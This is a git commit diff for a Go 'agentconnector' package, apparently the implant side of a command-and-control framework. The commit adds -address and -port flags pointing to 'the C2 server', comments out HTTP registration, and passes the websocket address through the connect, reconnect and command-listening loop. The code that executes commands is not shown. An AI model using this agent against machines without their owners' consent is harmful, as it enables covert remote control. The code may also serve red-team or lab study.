introduced command line args for server connection

This commit is contained in:
Stefan Etringer 2025-06-23 13:45:07 +00:00
parent a6a48b8501
commit 653bd91e94
1 changed files with 72 additions and 37 deletions

View File

@ -2,9 +2,10 @@ package agentconnector
import (
"encoding/json"
"flag"
"fmt"
"log"
"net/http"
// "net/http"
"net/url"
"os/exec"
"os"
@ -17,12 +18,20 @@ import (
"github.com/gorilla/websocket"
)
const(
webServerAddr = "127.0.0.1:3333"
webSocketAddr = "127.0.0.1:5555"
registerURL = "http://" + webServerAddr + "/agents"
// wsURL = "ws://" + webSocketAddr + "/data"
)
// const(
// webServerAddr = "127.0.0.1:3333"
// webSocketAddr = "127.0.0.1:5555"
// registerURL = "http://" + webServerAddr + "/agents"
// // wsURL = "ws://" + webSocketAddr + "/data"
// )
// var (
// webServerAddr string
// webSocketAddr string
// registerURL = "http://" + webServerAddr + "/agents"
// // wsURL = "ws://" + webSocketAddr + "/data"
// )
type Agent struct {
AgentName string `json:"agentName"`
@ -42,31 +51,31 @@ type Message struct {
var conn *websocket.Conn
func registerAgent(agentName, agentId, agentIp, agentType, addPort, hostname string) error {
// func registerAgent(agentName, agentId, agentIp, agentType, addPort, hostname string) error {
form := url.Values{}
form.Add("agentId", agentId)
form.Add("agentName", agentName)
form.Add("agentType", agentType)
form.Add("IPv4Address", agentIp)
form.Add("addPort", addPort)
form.Add("hostname", hostname)
// form := url.Values{}
// form.Add("agentId", agentId)
// form.Add("agentName", agentName)
// form.Add("agentType", agentType)
// form.Add("IPv4Address", agentIp)
// form.Add("addPort", addPort)
// form.Add("hostname", hostname)
resp, err := http.PostForm(registerURL, form)
if err != nil {
return fmt.Errorf("Error registering agent: %v", err)
}
defer resp.Body.Close()
// resp, err := http.PostForm(registerURL, form)
// if err != nil {
// return fmt.Errorf("Error registering agent: %v", err)
// }
// defer resp.Body.Close()
if resp.StatusCode != http.StatusCreated {
return fmt.Errorf("Failed to register agent, status: %v", resp.Status)
}
// if resp.StatusCode != http.StatusCreated {
// return fmt.Errorf("Failed to register agent, status: %v", resp.Status)
// }
log.Printf("Agent %s successfully registered.", agentName)
return nil
}
// log.Printf("Agent %s successfully registered.", agentName)
// return nil
// }
func connectToWebSocket(agentName, agentId, agentIp, agentType, addPort, hostname string) error {
func connectToWebSocket(webSocketAddr, agentName, agentId, agentIp, agentType, addPort, hostname string) error {
wsURL := fmt.Sprintf(
"ws://%s/data?agentName=%s&agentId=%s&IPv4Address=%s&agentType=%s&addPort=%s&hostname=%s",
webSocketAddr,
@ -81,7 +90,7 @@ func connectToWebSocket(agentName, agentId, agentIp, agentType, addPort, hostnam
for {
conn, _, err = websocket.DefaultDialer.Dial(wsURL, nil)
if err == nil {
log.Println("WeSocket connection established")
log.Println("WebSocket connection established")
// logger.LogEntries = append(logger.LogEntries, fmt.Sprintf("%s websocket established", time.Now().Format(time.RFC3339)))
return nil
}
@ -91,15 +100,15 @@ func connectToWebSocket(agentName, agentId, agentIp, agentType, addPort, hostnam
}
}
func reconnectToWebSocket(agentName, agentId, agentIp, agentType, addPort, hostname string) error {
func reconnectToWebSocket(webSocketAddr, agentName, agentId, agentIp, agentType, addPort, hostname string) error {
backoff := 2 * time.Second
maxBackoff := 1 * time.Minute
for {
log.Println("Attempting to reconnect to WebSocket...")
err := connectToWebSocket(agentName, agentId, agentIp, agentType, addPort, hostname)
err := connectToWebSocket(webSocketAddr, agentName, agentId, agentIp, agentType, addPort, hostname)
if err == nil {
log.Println("Reconnection succesful.")
log.Println("Reconnection successful.")
return nil
}
@ -113,14 +122,14 @@ func reconnectToWebSocket(agentName, agentId, agentIp, agentType, addPort, hostn
}
}
func listenForCommands(agentName, agentId, agentIp, agentType, addPort, hostname string) {
func listenForCommands(webSocketAddr, agentName, agentId, agentIp, agentType, addPort, hostname string) {
defer conn.Close()
for {
_, rawMessage, err := conn.ReadMessage()
if err != nil {
log.Printf("Connection lost: %v", err)
if reconnectErr := reconnectToWebSocket(agentName, agentId, agentIp, agentType, addPort, hostname); reconnectErr != nil {
if reconnectErr := reconnectToWebSocket(webSocketAddr, agentName, agentId, agentIp, agentType, addPort, hostname); reconnectErr != nil {
log.Printf("Critical error during reconnection: %v", reconnectErr)
}
continue
@ -201,9 +210,37 @@ func GetLocalIPs() []net.IP {
return ips
}
// func connectionArgs () (string, string) {
func connectionArgs () string {
// Get IP address and port of the server through the
var serverAddress string
// var serverPort string
var serverWebsocketPort string
flag.StringVar(&serverAddress, "address", "127.0.0.1", "IP Address of the C2 server")
// flag.StringVar(&serverPort, "server-port", "3333", "Port of the C2 server. This is obsolete.")
flag.StringVar(&serverWebsocketPort, "port", "5555", "Websocket port of the C2 server")
flag.Parse()
fmt.Println("Server address is at ", serverAddress)
// fmt.Println("Server web port is ", serverPort)
fmt.Println("Server websocket port is ", serverWebsocketPort)
// webServerAddr := serverAddress + ":" + serverPort
webSocketAddr := serverAddress + ":" + serverWebsocketPort
// return webServerAddr, webSocketAddr
return webSocketAddr
}
// func main() {
func StartServer(agentInteractivePort int){
webSocketAddr := connectionArgs()
// agentInteractivePort is only needed for interactive sessions
agentName := "Agent-001"
agentId := strconv.Itoa(randomInt(8))
@ -214,15 +251,13 @@ func StartServer(agentInteractivePort int){
log.Printf("AgentId: %s", agentId)
// if err := registerAgent(agentName, agentId, agentIp, agentType); err != nil {
// log.Fatalf("Agent registration failed: %v", err)
// }
if err := connectToWebSocket(agentName, agentId, agentIp, agentType, addPort, hostname); err != nil {
if err := connectToWebSocket(webSocketAddr, agentName, agentId, agentIp, agentType, addPort, hostname); err != nil {
log.Fatalf("Websocket connection failed: %v", err)
}
listenForCommands(agentName, agentId, agentIp, agentType, addPort, hostname)
listenForCommands(webSocketAddr, agentName, agentId, agentIp, agentType, addPort, hostname)
}